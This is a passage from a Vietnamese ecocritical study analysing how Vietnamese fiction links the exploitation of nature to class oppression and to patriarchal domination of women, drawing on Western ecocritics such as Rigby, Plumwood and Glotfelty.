vậy, giữ rừng còn là giữ niềm thanh thản trong đời sống tâm linh của con người. Khi
khắc phục hậu quả chiến tranh, con người chạm phải nhiều nỗi bất an trong mối quan
hệ với tâm linh – cây cỏ. Trong Thần thánh và bươm bướm, Đỗ Minh Tuấn nhận thấy
để thực hiện công nghiệp hóa, thu hút các doanh nghiệp nước ngoài đến khai thác
khoáng sản đôi khi để lại những thảm họa về môi trường “Cái màu đỏ chói gắt của
hoa gạo năm nào giờ đây thay bằng màu đen sẫm của bùn do công nghệ khai thác
crom thải ra”. Cây gạo, nơi trú ẩn của những linh hồn bị giám đốc người Seoul tha về
Hàn Quốc, khiến cho “hồn vía của các chiến sĩ du kích bị địch bắn dưới gốc gạo năm
xưa hay hồn vía ông Bổng có hiện về chắc cũng phải ngụp lặn mênh mông bùn đen
ấy”. Mất cây, mất không gian, dường như con người trở nên mất gốc rễ, tha phương
trên chính mảnh đất của mình. Đó cũng khiến cho những thanh niên mới lớn lao theo
đồng tiền, tôn sùng văn hóa ngoại lai, xa rời nguồn cội.
Hành trình cuối cùng ở Túi, Ân nhớ về cuộc hội ngộ với sông Di lần đầu tiên
là một trận lũ “thực sự ở đây là cái biển rồi”: “Cậu gặp sông Di lần đầu. Hung hãn
một cách ráo riết, cay nghiệt. Mặt sông là cái xoáy nước đỏ ngầu cuộn xiết. Không
có bờ. Hệ thống các con sông lớn ở miền Hạ chìm trong một trận lũ lụt được cho là
lớn nhất trong một trăm năm trở lại… Ở mái nhà sắp chìm lút, những cánh tay đen
đúa thò khỏi mớ ngói vẫy vẫy. Trên cái đệm cao su rách rã trôi qua có một em bé
chừng hai tuổi nằm như ngủ, nước săm sắp đến vành tai. Nửa dưới để truồng, da
xanh ngắt. Cậu không khóc được khi ôm xác em nhỏ trên tay” (Sông, Nguyễn Ngọc
Tư). Mở đầu và kết thúc hành trình du khảo sông Di ở Túi bằng một “Đại hồng
thủy” (Ngay cả tên địa danh là “Túi” hẳn có một hàm nghĩa như là hình tượng trái
bầu trong những cơn đại hồng thủy) tiểu thuyết của Nguyễn Ngọc Tư như là một
ẩn dụ về sức mạnh của sinh mệnh tự nhiên.
3. Ý THỨC VỀ CON NGƯỜI THA HÓA
Karen Thornber trong bài giới thiệu Ecocriticism tại Viện Văn học khái quát:
thời kì đầu phê bình sinh thái chủ yếu “tập trung vào những biểu đạt văn chương
về thế giới và tự nhiên”1
, trả lời cho câu hỏi tự nhiên được miêu tả như thế nào
trong văn học thì đến giai đoạn sau tập trung vào các vấn đề xã hội. Kate Rigby

1
Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học
95
cũng cho rằng phê bình sinh thái “Tái kết nối tính xã hội và tính sinh thái”1
. Phê
bình sinh thái đã tích hợp với các vấn đề xã hội như chủng tộc, giai cấp, hậu thực
dân (sinh thái xã hội – social ecology, sinh thái chủ nghĩa Mác – Eco-Marxism), giới
tính (Sinh thái nữ quyền – Ecofeminism)…
Các nhà phê bình sinh thái đi tìm câu trả lời cho việc có một mối liên hệ giữa
những vấn đề tự nhiên và các vấn đề xã hội “chủ nghĩa phê bình sinh thái về công
bằng môi trường, vốn tìm cách chỉ ra những liên hệ cấu trúc giữa vấn đề xã hội và
vấn đề môi trường”2
. Val Plumwood đã đưa ra một bảng thống kê đầy “tính nhị
nguyên” mà cái đứng trước bao giờ cũng vượt hơn cái đứng sau: văn hóa/tự
nhiên, lí trí/tự nhiên, nam giới/nữ giới, tâm hồn/thể xác, lí tính/thú tính, tinh
thần/vật chất, tôi/ kẻ khác3
. Chính thói quen phân chia mang tính nhị nguyên ấy đã
tạo nên sự bất công đối với tự nhiên và bất công xã hội. Quan điểm này thể hiện
sự chuyển hướng quan tâm của phê bình sinh thái “khi những vấn đề môi trường
được tích hợp với mối quan tâm tới những câu hỏi về giới tính, chủng tộc và giai
cấp”4
. Do vậy, “đối với nhiều nhà phê bình sinh thái, sự bảo vệ tự nhiên có mối
quan hệ sâu sắc với việc theo đuổi lí tưởng công bằng xã hội”5
.
Tái kết nối tính xã hội và tính sinh thái, các nhà phê bình sinh thái đều chung
nhận thức với Bate “việc bóc lột tự nhiên bao giờ cũng đi kèm với sự áp bức xã
hội”6
. Điều này, theo Kate Rigby đã được dự báo từ những tác giả như Rousseau
trong cuốn Bàn về cội rễ của tình trạng bất bình đẳng giữa người với
người (Discourse on the Origins of Inequality among Men, 1774): “Theo Rousseu,
những tiến bộ của nền văn minh được mang lại từ sự thống trị với thế giới tự
nhiên tất yếu sẽ phải trả giá bằng sự bất công ngày càng cao trong xã hội, mà kèm

1
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội
2
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội
3
Plumwood V. (1993), Feminism and the Mastery of Nature, Routledge
4
Rigby K. (2014), Chapter 7: “Ecocritisim”,
5 Thornber K. (2014), Những tương lai của phê bình sinh thái và văn học (Hải Ngọc dịch),
http://hieutn1979.wordpress.com
6
Bate J.(2000), The Song of the Earth, Massachusetts: Harvard University Press, p 48
96
theo nó là sự tăng lên của tình trạng tha hóa”1
. Điều này có cội rễ lịch sử của nó,
khi xã hội tư bản phát triển, khi con người bóc lột tự nhiên để làm lợi cho mình
cũng là lúc Rousseau đã nhìn thấy những tình trạng phân hóa giàu nghèo. Rõ ràng
những kẻ nghèo khó dưới đáy xã hội thường bao giờ cũng là những người lao động
trực tiếp với tự nhiên, gắn bó nhất với tự nhiên.
3.1 Ý thức sinh thái giai cấp
Mối quan hệ giữa nghèo đói và môi trường được phơi bày trực tiếp trong
các tác phẩm của Nguyễn Trí, Nguyễn Huy Thiệp, Vũ Thi… Mặc dù, ai cũng nhận ra
ở những nơi khai thác tự nhiên như bãi vàng, rừng núi, biển cả… chứa nhiều tai
họa, nhưng họ vẫn buộc phải khai thác tự nhiên để mưu sinh. Đó là vấn đề của
những người nghèo, của những nước nghèo. Các nhà phê bình sinh thái cho rằng
sự phân bố thế giới hiện nay không phải là sự phân bố giàu nghèo nữa mà là sự
phân bố của các nguy cơ. Người nghèo, bao giờ cũng là người chịu nhiều thiệt thòi
hơn. Vì mưu sinh, vì gia đình, những người lên rừng khai thác không gian hoang dã
như những chốn tìm kiếm món lợi để sinh tồn đều là những người bị đẩy sang bên
lề, sống cô độc, nghèo khổ, tăm tối giữa núi rừng hoang sơ. Rõ ràng, có mối liên hệ
giữa những bất công tự nhiên và những vấn đề bất công trong xã hội.
Trong hành trình bóc lột tự nhiên, kẻ làm chủ được hưởng lợi, còn những
người làm thuê đánh cá, cánh thợ rừng bao giờ cũng chịu đủ mọi thiệt thòi Cây
khô tưới nước cũng khô. Người nghèo đi đến bãi vang (vàng) cũng nghèo. Trong
bãi vàng “chủ hầm thực sự ngồi mát ăn bát kim cương. Tính đi, lãi ròng hai mươi
cây chia năm, mỗi thằng bốn cây. Ngồi chơi và ra lệnh tháng kiếm một cây, đòi gì
nữa?” (Bãi vàng, Nguyễn Trí). Cai khai thác lồ ô thì “ăn” theo rất nhiều cách khác
nhau: chưa kể món lời từ khai thác lồ ô, chưa kể đốn gỗ lậu. Khi thợ đưa thành
phẩm về “ăn cắp” bằng cách tính sai lệnh giá trị của sản phẩm, lồ ô tuyển trừ đi
còn lồ ô non “Minh Tàn đánh cho nó được bốn xe tuyển, hai ngàn sáu trăm cây, lúc
tính ra tiền chỉ còn hai ngàn cây, mất sáu trăm… vị chi nó nuốt của Minh Tàn trên
chỉ vàng, không riêng gì Minh Tàn, thằng nào cũng bị hết” (Tiền rừng, Nguyễn Trí).
Chủ thầu còn bớt xén trong phần ăn của thợ rừng – những người phải bán mồ hôi,
nước mắt cả máu để kiếm miếng cơm. Kẻ bóc lột tự nhiên cũng đều là kẻ bóc lột
người khác. Lòng tham khiến cho nhiều người trở nên tàn nhẫn, mất hết nhân tính,

1 Dẫn theo Rigby K. (2014), Phê bình sinh thái, Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First
Century, Edinburgh UP, Đặng ThịThái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác
phẩm của Nguyễn Huy Thiệp, Nguyễn Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
97
không còn biết đến cảm thông “Đồng loại dưới trướng mà anh ăn đến cái gấu quần
thế kia thì còn chi nhân nghĩa”. Phần nhiều những cái chết trong rừng là của người
lao động, chủ thầu chỉ đi kiểm tra còn người thợ rừng phải dựng lán mà khai thác,
họ mang theo cả gia đình cả con nhỏ “Đứa lớn tám tuổi, ru đứa ba tuổi cho em bú
sữa bò, em ngủ rồi nó mang đồ xuống suối giặt cho mẹ, nấu cơm chờ cha mẹ về
ăn”. Cuộc sống của những người lao động đã cực khổ, ở rừng càng cực khổ hơn,
vậy mà vẫn bị bóc lột, quả thật như lời than vãn của một nhân vật “Có câu tiền
rừng bạc bể. Bạc ở đây không phải là nén bạc mà phải nói là bạc như vôi mới
đúng”.
“Hắn” (Đá đỏ, Vũ Thi) là một người thợ khá lành nghề “có đôi tay biết nhìn
trong đêm”, vì thế hắn bị chủ bóc lột thậm tệ, làm việc từ sáng đến 6 giờ tối mới
được lên trong “Một dây chuyền sản xuất thời nguyên thủy” sâu 60 mét vào lòng
đất “như đang rói vào địa ngục âm u”, với những công việc mệt nhọc “Mùi khen
khét của bùn, đất, sạn, sỏi bốc lên nghèn nghẹt trong phổi hắn”, bữa trưa chỉ có
“loại bánh mì mua trước mấy ngày vừa rắn vừa hôi”. Bao trùm là cảm giác mệt mỏi
vì lao động quá sức trong một điều kiện khắc nghiệt và sự bóc lột thậm tệ của chủ
“Hắn ủ rũ nhìn những tia nắng hiếm hoi trong ngày còn rơi rớt đáy sâu, nơi tận
cùng thế giới. Không hiểu sáu mươi mét đã là sâu chưa? Một khoảng rộng chừng
hơn mét vuông chênh chếch vào núi chừng như đang nuốt đời hắn vĩnh viễn vào
trong lòng đất. Hắn chán nản đào những nhát cuốc cuối cùng trong ngày. Có lẽ
trên mặt đất gần 6 giờ. Phía trên giếng dây gầu rần rật như nhắc hắn làm việc”.
“Sau khi hoàn tất bữa ăn giữa ngày thì đầu dây lại giật, nhắc hắn đã đến giờ làm.
Lưng hắn cứng như gỗ, hắn cố gượng dậy cầm lấy xẻng”. Thậm chí ốm cũng không
cho nghỉ:
 Thưa bác, hôm nay tôi bị đi ngoài ra máu
 Không nghỉ được đâu! – Hắn nói như ra lệnh- Toản đâu, lấy thuốc
clorôxít cho hai thằng nó uống.
Gã sốt rét rên rỉ nói:
 Thưa bác, tôi cần kí ninh. – Thằng lé nói như gầm lên – Đ.mẹ, đồ ngu.
Thuốc clorôxít chữa bách bệnh
Gã sốt rét không đứng dậy được, còn hắn, sau khi uống 3 viên clorôxít, ăn
cái bánh mì chay rồi bị lùa ra miệng giếng.
Đó là đoạn đối thoại giữa cai thầu và những người thợ đào đá đỏ. Đoạn đối
thoại bóc trần về một sự thật trần trụi, chẳng có đâu một tự nhiên giàu có, tất cả
98
phơi bày một sự thật “chỉ đơn giản là chúng đang được phơi bày như thế”.
Trong Biển và chim bói cá (Bùi Ngọc Tấn), những người phải bóc lột biển để
nuôi sống gia đình đều là những người rất nghèo khổ: gia đình bác Sỹ tằn tiện, đến
bữa ăn chỉ có một con tôm he, cả nhà nhường nhau. Gia đình Khoa “cực kì khó khăn.
Bố mẹ già, vợ không có có việc làm, hai đứa con nhỏ, chỉ trông vào đồng lương của
Khoa”. Họ phải sống vất vả với biển cả hàng tháng trời, thiếu thốn những điều kiện
sống, nhớ gia đình, không có thông tin… Qua những trang nhật kí của Phong, một cậu
bé theo con thuyền của ba đi ra biển cùng sống với những người thủy thủ trên con tàu
đánh cá, những vui buồn, khổ cực, mệt nhọc… trên biển được nhìn bằng con mắt
khách quan của người ngoài cuộc về sự vật lộn của những con chim bói cá giữa sóng
gió biển khơi. Những người đánh cá quốc doanh còn có tàu lớn, những người đánh cá
lưới rê còn vất vả hơn, chỉ một chi tiết nhỏ trong trang nhật kí đã hé lộ nỗi mệt mỏi
của họ “Cuộc sống thật gian nan, vất vả, cực nhọc đầy rẫy những chuyện đau lòng”.
Truyện của Nguyễn Trí, Vũ Thi, Nguyễn Khắc Phê… nhắc đến rất nhiều cái
chết “Thần chết ở khắp mọi nơi, sốt rét, sập hầm, đứt dây lên xuống và nhiều thứ
vân vân” (Bãi vàng, Nguyễn Trí). Mưu sinh nơi rừng thiêng nước bạc là công việc
chịu nhiều rủi ro với những điều kiện lao động khó khăn. Thường xuyên nhất là
chết vì sập hầm. Để khai thác vàng, người ta làm hầm đi sâu vào lòng đất, nó chứa
rất nhiều rủi ro: khi sập Tổng Kho “Ít nhất cũng trên năm chục mạng vùi thây dưới
đó”. Chết còn vì sốt rét cũng thường xuyên, bị bệnh lại chỉ được chữa trị bằng
những thứ thuốc tự mang đi, không được khám, không có chế độ chăm sóc y tế,
không điều trị đúng lịch, không kịp chuyển viện, không đủ điều kiện sống tối
thiểu… “sốt rét hả? Khủng khiếp lắm. Nó lấy mạng người gấp chục lần “hát i vê”
ngày nay” (Chuyện cũ từ rừng, Nguyễn Trí); “Trong lán chỉ còn hai kiếp sống phù du
trôi nổi. Khi chiều xuống, mọi người trở về thì gã sốt rét đã bỏ mặc cõi đời mà đi,
chỉ còn lại hắn âm thầm trong đói khát” (Đá đỏ, Vũ Thi). Những người lao động còn
bị trấn lột dọc đường bởi những toán cướp, vì thú dữ ăn thịt, bị rắn cắn, vì “đọt lồ
ô đâm”, vì lạc trong khi cắt rừng mà đi… và cả những cái chết mà con người tàn hại
lẫn nhau do lòng tham làm cho mờ mắt. Trong Trăm năm còn lại, Trần Duy Phiên
đã miêu tả cảnh một gia đình chạy theo cuộc tìm kiếm vàng để đi tới bất hạnh như
lời than thở của Chò “Nhà này coi bộ không yên từ ngày cha đưa nó về và thằng khỉ
Ðế bày cho cả lũ biết đến nó – anh thầm oán vàng – thằng Tà theo nó, rúc riết vào
đất. Thầy vàng nung nó, phải cụt hai chân. Thằng Ðế muốn giữ nó, cụt mất một
99
tay. Cha theo nó, đi mãi không về”.
Khi phải tàn sát tự nhiên trong cuộc mưu sinh đầy vất vả, con người cũng trở
nên trơ lì trước những nỗi đau của đồng loại. Các tác phẩm của Nguyễn Trí cho thấy
con người thản nhiên trước cái chết của đồng loại vì họ chứng kiến quá nhiều cái
chết. “Bị sốt ác tính. Dân rừng, chết vì sốt cũng thường thôi” (Cầm giùm đi), “Đơn
giản thôi. Thằng gian lận bị thằng thua phạt một lưỡi rìu… lưỡi rìu xuyên suốt từ
bụng qua lưng” (Trầm hương), “Đụng dân địa phương chỉ có tử nạn. Ở bãi – tất cả
các bãi – chết vì đòn không hề quan trọng. Dân bãi sẽ vùi cái xác ấy vào một chỗ cố
định” (Bãi vàng), “Chết hả? Xúm nhau khiêng ra gốc ma trơi. Cuốc đó, xẻng đó… tấm
chiếu, cái mền của nó thì trùm cho nó. Cát bụi trở về cát bụi. Có gì quan trọng đâu?”,
“có những cái chết cực vô danh, giang hồ không theo một mâm nào, tuột xuống một
hầm hoang để mót, vừa xuống đã vùi thây. Biết bằng hữu bị bị vùi ở đó cũng chả hơi
sức đâu bới đào, bới lên làm chi? Bị điên chắc?” (Giã từ vàng) … Đằng sau giọng văn
tưng tửng đó của Nguyễn Trí (được đánh dấu bằng những từ tưởng như rất thản
nhiên mà chúng tôi gạnh chân) là cả một nỗi đau. Khi con người ta chứng kiến quá
nhiều cái chết, con người ta trở nên trơ lì trước cái chết. Khi con người không sợ gì
cả, coi thường mạng sống của mình, coi thường sinh mệnh của kẻ khác, nhân tính
của con người sẽ như thế nào? Đó là câu hỏi đầy nhức nhối về cõi nhân sinh đầy mệt
nhọc trên hành trình con người bóc lột tự nhiên, rồi cuối cùng quay ra bóc lột lẫn
nhau mà Nguyễn Trí đã nhận ra bằng một tấm lòng ưu sầu, day dứt.
Đối xử tàn ác với đồng loại, chém giết lẫn nhau vì món lợi, con người trở
nên tha hóa. Trong những truyện ngắn của Nguyễn Trí (Tiền rừng, Bãi vàng, Trầm
hương, Chuyện cũ từ rừng…) người ta giết nhau do thanh toán lẫn nhau nhiều vô
kể cũng vì đủ mọi lí do: phân chia không đều, lừa bịp lẫn nhau, cướp dọc đường,
cống nạp không đủ, cờ gian bạc lận… Câu chuyện thứ nhất của truyện ngắn Tìm
trầm của Hoa Ngõ Hạnh kể về một bầu tìm trầm phát hiện ra “những gộc trầm lớn
hiện ra đen óng ánh… ước chừng số trầm bán được khoảng bốn trăm cây vàng”.
Đứng trước khối tài sản khổng lồ, hai tên Lương và Thân giết chết hai anh em Phú,
Quý, rồi lợi dụng Thân mất cảnh giác Lương giết luôn cả Thân, độc chiếm gộc trầm
nhưng ở rừng một mình khó xoay xở, Lương bị lạc trong rừng mây chằng chịt “Đến
ngày thứ năm hắn hoàn toàn kiệt sức ngã quỵ xuống úp mặt lên hai ba lô trầm mà
chết, hai bàn tay như hai móng diều hâu bấu chặt lấy miệng ba lô”. Hành trình đi
bóc lột tự nhiên trở thành hành trình thanh toán lẫn nhau và cuối cùng bị quả báo.
100
Coi rừng là nguồn lợi, người ta sẵn sàng dùng mánh khóe để trục lợi cá nhân.
Những người muốn khai thác tận lực tự nhiên đều là những kẻ tham lam “Ở bãi là gian
manh, giảo quyệt và tham lam” (Bãi vàng, Nguyễn Trí ). Đá đỏ (Vũ Thi) kể về một người
thợ khai thác quý, một hôm phát hiện ra viên đá đỏ, anh ta nuốt vào bụng rồi tìm cách
trốn về nhà. Anh ta đi rao bán viên đá đỏ đầy qu{ giá nhưng anh biết sẽ bị lừa nên
không mang theo, để trên bàn thờ nhà mình nhưng người chủ tiệm đá đỏ ấy lừa lại
hắn. Trong khi hắn đang làm công việc mua bán trên phố, gã chủ kia cho người về quê,
lừa vợ con thật thà đổi hòn đá qu{ giá bằng một hòn đá giả. Trả hắn về với cảnh nghèo
khổ như xưa “nếp nhà tranh xơ xác đặt bên bờ ao lở lói, đầy váng bẩn, như cái vại nước
sứt miệng đặt bên cửa bếp toang hoác. Con chó nằm đầu hè ghếch đầu lên mảnh bát
vỡ. Vạn vật tất cả dường như có chỗ của nó, một bóng tối mon men đang xóa dần đi tất
cả những đau đớn trong gia đình họ”. Đúng là hành trình con người bóc lột tự nhiên trở
thành hành trình con người lừa dối lẫn nhau. Lòng tham khiến con người ta mờ mắt
“chẳng qua tham quá lớn, niềm tin đến độ cuồng nên bỏ tiền bỏ của để lôi cho được cái
quý giá trong lòng mẹ trái đất vào lòng mình” (Bãi vàng, Nguyễn Trí).
Lòng tham ấy lại là căn nguyên của các vấn đề xã hội: cướp giật, đút lót,
tham ô, nhũng nhiễu… Đồ tể – Một cái tên truyện dành cho tập truyện rất có ý
nghĩa: sự bóc lột và tàn hại lẫn nhau của con người thật ghê gớm như đồ tể vậy.
Biển và chim bói cá (Bùi Ngọc Tấn) “là sử thi về sự tan rã”. Tiểu thuyết này, bên
cạnh chủ đề chính phơi bày những nhức nhối của quan liêu bao cấp thì tác phẩm
còn hé mở cho người đọc về những gian truân mà thủy thủ trên tàu đánh cá của Xí
nghiệp đánh cá biển Đông phải chung sống. Tác phẩm là một ẩn dụ sâu sắc, mỗi
con người vơ vét biển khơi như loài bói cá và cả lũ chim ăn theo ở trên bờ, bói cá
“không phải loài chim biển, mà là chim của sông của suối. Nhưng khi con nó đói, nó
liều mình giáp đấu với biển cả” (lời tuyên dương của Francois Bourgeon). Một loài
vì mưu sinh phải đương đầu với nơi xa lạ thì nó sẽ phải nếm trải rất nhiều cực nhọc
và đau đớn “Tôi quan sát bố, ngẫm ngợi, vừa không hiểu vừa quý lại vừa thương.
Bố làm việc ấy vì chúng tôi, vì mẹ. Tất cả những người trên tàu vừa bán cá của nhà
nước, đút tiền vào túi cũng đều vì gia đình, vì vợ vì con. Tôi bỗng nghĩ đến con
chim bói cá. Mọi người trên tàu cũng giống như con chim bói cá hôm qua. Vất vả
kiếm ăn nuôi đàn con nhỏ”. Vậy là, câu chuyện đối xử với tự nhiên do vậy lại trở
thành câu chuyện của xã hội. Những câu chuyện ấy rõ ràng chúng không trong trẻo
như chúng ta tưởng tượng, đằng sau mỗi cánh rừng bị mất, đằng sau mỗi con cá,
101
con tôm… là những câu chuyện về sự tha hóa của con người.
3.2 Ý thức sinh thái nữ quyền
Thuật ngữ sinh thái nữ quyền (eofeminism) được nhà nữ quyền Pháp
Francoise de Eaubonne đặt ra năm 1974 để lưu { đến tiềm năng của phụ nữ trong
việc thúc giục một cuộc cách mạng sinh thái kéo theo những mối quan hệ mới giữa
nam giới và phụ nữ, giữa con người và tự nhiên nhân danh việc đảm bảo cho sự
sống còn của con người.
Ngay từ đầu, phê bình sinh thái đã dành những quan tâm đặc biệt cho việc
“khảo sát về tầm quan trọng của khác biệt giới và vấn đề biểu trưng môi trường”1
do vậy nó quan tâm đến tư tưởng của các nhà sinh thái nữ quyền.
Trước hết, phê bình sinh thái “đặt nghi vấn thuyết nhị nguyên trong tư tưởng
phương Tây – vốn tách { nghĩa ra khỏi vấn đề, { nghĩ ra khỏi thân thể, phân biệt rạch
ròi nam giới và phụ nữ, cũng như làm phân li nhân loại với tự nhiên”2
. Sinh thái nữ
quyền tạo ra một tư tưởng phê phán chủ nghĩa nhị nguyên, coi đó là sự “tách biệt
của đối đầu” (divided against) theo cách nói của Griffin, (chứ không phải bổ sung)
và độc quyền (không phải toàn bộ). Các nhà sinh thái chỉ ra bảng phân cấp mang
tính nhị nguyên đã tạo nên sự thống trị: thiên đường / trái đất, tâm hồn / thể xác,
văn hóa / tự nhiên, nam / nữ, con người / động vật, tinh thần / vật chất, da trắng /
da màu… Lịch sử loài người phía cao hơn bao giờ cũng là “tinh thần”, “hợp lí”,
“nam tính”; còn phía thấp hơn là “cơ thể”, “cảm xúc”, “nữ tính”3
. Coi trọng tinh
thần, lí trí hơn bản năng, thể xác, do vậy, phụ nữ luôn thấp hơn so với đàn ông.
Theo logic thống trị này, sự thống trị của con người với tự nhiên là hợp lí. Sự áp
bức, thống trị với phụ nữ là do chính tư tưởng trung tâm thống trị ấy. Lí thuyết này
chống lại tư tưởng “lí thuyết trung tâm nam” (androcentrism), xuất phát từ sự cai
trị trong tâm trí của con người, chỉ trích các giá trị văn hóa gia trưởng, ca ngợi
thiên tính nữ. Do vậy, “Diễn ngôn của nữ quyền sinh thái nói chung thường lập
luận rằng việc khai thác thiên nhiên và phụ nữ có liên hệ mật thiết”4
. Điều này,
xuất phát từ địa vị của người phụ nữ, trong xã hội, phụ nữ bao giờ cũng là đối
tượng bị khinh rẻ hơn “Nhiều người tin rằng mối liên hệ giữa sự đàn áp phụ nữ và
việc phá hủy hệ sinh thái không khởi nguồn từ sự đồng nhất phụ nữ với cái phi
nhân mang tính bản thể luận mà từ vị thế xã hội của phụ nữ, tức có một mối kết

1 Karen Thornber, Ecocriticism, Tài liệu thuyết trình tại Viện Văn học, 2011.
2 Karen Thornber, Ecocriticism, Tài liệu thuyết trình tại Viện Văn học, 2011
3 Garrard G., Ecocriticism (The New Critical Idiom), Massachusetts, Routledge Press, 2004, p 23
4Karen Thornber, Ecocriticism, Tài liệu thuyết trình tại Viện Văn học, 2011
102
nối giữa sự ngoại hiện và bóc lột phụ nữ và việc lạm dụng nguồn tài nguyên thiên
nhiên”1
.
Phê bình sinh thái chỉ ra “những văn bản sáng tác đã hòa quyện như thế nào
diễn ngôn về phụ nữ và môi trường với các dạng bất công xã hội”2
. Điều này trước
hết thể hiện qua cách người đàn ông và người phụ nữ đối xử với tự nhiên. Người
phụ nữ mang trong mình thiên tính giữ gìn và bảo vệ sự sống nên có thái độ chăm
sóc, nâng đỡ, che chở cho mọi sinh linh, trái lại, người đàn ông thường đối xử một
cách độc đoán, chuyên quyền với tự nhiên và phụ nữ. Điều này tạo nên những bất
công trong xã hội. Các nhà phê bình sinh thái cho rằng “Sự gắn kết truyền thống
của phụ nữ với thế giới tự nhiên, được coi là có ở khắp nơi, được các nhà nữ
quyền sinh thái đề cao nhằm tìm cách đề xướng một thể đối lập với những cấu
trúc phụ hệ”
3
.
Soi chiếu cái nhìn của phê bình sinh thái nữ quyền vào các tác phẩm như
Con thú bị ruồng bỏ – Nguyễn Dậu, Mùi cọp, Mùa săn – Quý Thể, Kiến và người,
Trăm năm còn lại – Trần Duy Phiên…, các tác phẩm bóc trần tính cách độc đoán,
độc ác và ham muốn thống trị của người đàn ông trong thế giới nam quyền, còn
người phụ nữ cũng như tự nhiên bị coi là thấp kém, là không có tiếng nói, dễ bị
thương tổn. Mặt khác, trong bài giới thiệu “Nghiên cứu văn học trong thời đại
khủng hoảng môi trường” (Tuyển tập Phê bình sinh thái: Các mốc quan trọng trong
Sinh thái học Văn học) do Cheryll Glotfelty và Harold Fromm chủ biên, Cheryll
Glotfelty đã đặt ra nhiều vấn đề, một trong số đó là “Ngoài chủng tộc, giới tính nên
đặt điểm nào trở thành danh mục phê bình mới? Nhà văn nam viết về tự nhiên
khác nhà văn nữ như thế nào?”4
. Ở điểm này, một số tác phẩm của các nhà văn
nữ: Con chó và vụ li hôn – Dạ Ngân, Sông, Cánh đồng bất tận – Nguyễn Ngọc Tư;
Giải vía – Hà Thị Cẩm Anh; Ả Ìa âu?, Tre nở hoa… – Quế Hương, Lúa hát – Võ Thị
Xuân Hà… đã có những kiến giải khá độc đáo và mới mẻ.
Tư tưởng nam quyền thống trị – căn nguyên của những bất công
Từ cách nhìn của các nhà sinh thái nữ quyền, sự đối xử khác nhau đối với tự

1 Karen Thornber, Ecocriticism, Tài liệu thuyết trình tại Viện Văn học, 2011
2 Karen Thornber, Ecocriticism, Tài liệu thuyết trình tại Viện Văn học, 2011
3 Karen Thornber, Ecocriticism, Tài liệu thuyết trình tại Viện Văn học, 2011
4 Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press p xix.
103
nhiên của nam giới và phụ nữ bộc lộ tư tưởng nam quyền thống trị. Nếu như người
phụ nữ gắn bó với tự nhiên bằng tình cảm trìu mến thì người đàn ông thường coi tự
nhiên như là đối tượng phục vụ mình. Người cha (Ả Ìa âu?, Quế Hương ) không quan
tâm đến tình yêu của hai đứa trẻ với loài vật, đã giết thịt con chó. Chả Chìa, trước
hết là con vật anh ta đánh cắp để ăn thịt “Tao chộp nó lúc đang chơi lúc thúc trước
cửa. Gọi nó là Chả Chìa (…) Cho chúng mày chơi với nó, vỗ béo nó cho tao”, sau nữa,
con vật này có số phận giống như hai đứa trẻ, bị người đàn ông tước ra khỏi bầu sữa
ấm êm của mẹ nó cũng như con Ngổ bị mất mẹ khi nó còn quá bé. Người cha không
đếm xỉa gì đến nỗi khát sữa của con vật cũng như đã từng không đếm xỉa gì đến tình
cảnh tội nghiệp của hai đứa nhỏ khi mẹ mất, con Mơ chưa tròn bảy tuổi phải làm
mẹ con Ngổ; cũng không quan tâm đến tình cảm của hai đứa trẻ với con vật, sự
chăm sóc, tình bạn bầu của hai đứa con thiếu vắng tình cảm mà con vật phần nào
lấp vào; cũng như đã từng không hiểu được tình cảnh vất vả, tủi cực của người vợ
đã mất “Thỉnh thoảng bố nó trở về nhà, mặt đỏ gay, không một đồng xu dính túi.
Mẹ chậm nước mắt nói dỗi: ” Uống đi! ăn đi! Làm mấy ăn mấy cho sướng miệng để
vợ con đói khát. Có ngày tui bỏ hai đứa nhỏ cho ông nuôi”. Đó là, nỗi cùng cực của
một gia đình người đàn ông nát rượu, người phụ nữ làm công việc cực khổ nhặt rác
nuôi con nhỏ bị tai nạn chết trên đường để lại hai đứa trẻ đáng thương. Tất cả đều
toát lên một thái độ đầy bất công mà người đàn ông là kẻ làm chủ đối xử một cách
độc đoán, vô tâm với toàn bộ gia đình của anh ta. Vậy là, qua cách đối xử của gia
đình nhỏ với con chó, tác giả cho thấy một tình cảnh đầy áp bức và bất công trong
gia đình.
Đối diện với loài vật, người đàn ông thường lộ rõ bản chất thống trị. Sự bất
công của thiếu tướng Hồng Quyền với con Múc “tên đầy tớ ương bướng” (Con thú
bị ruồng bỏ, Nguyễn Dậu) vì con vật không chịu tuân phục, vâng lời, dễ bảo như
con Tuýt – cũng là biểu hiện của tư tưởng thống trị, thói ngạo mạn của con người –
yêu cầu tất cả phải tuân phục theo ý chí của mình. Ông không đếm xỉa gì đến tình
yêu thơ trẻ của cháu gái, mà còn lợi dụng Quznh để sát hại con vật, viên đạn bắn
vào con Múc là một “cú đúp”, vừa giết chết con chó nhưng đồng thời “băng đạn
ông bắn vào lòng nhân ái, vào tình yêu thiên nhiên của cháu”. Nhân vật “tôi” mặc
dù trước đó rất kính trọng vị thiếu tướng tài năng, thao lược nhưng khi chứng kiến
sự sát phạt của ông đối với con Múc, anh cảm thấy thật buồn rầu: “Ngày nay điều
qu{ … lại là uy thế lộng quyền, là sát phạt muông thú và sát phạt lẫn nhau. Hôm
qua tôi đau đớn vì anh đánh đấm tôi. Ngày hôm nay tôi sung sướng vì hành hạ nó.
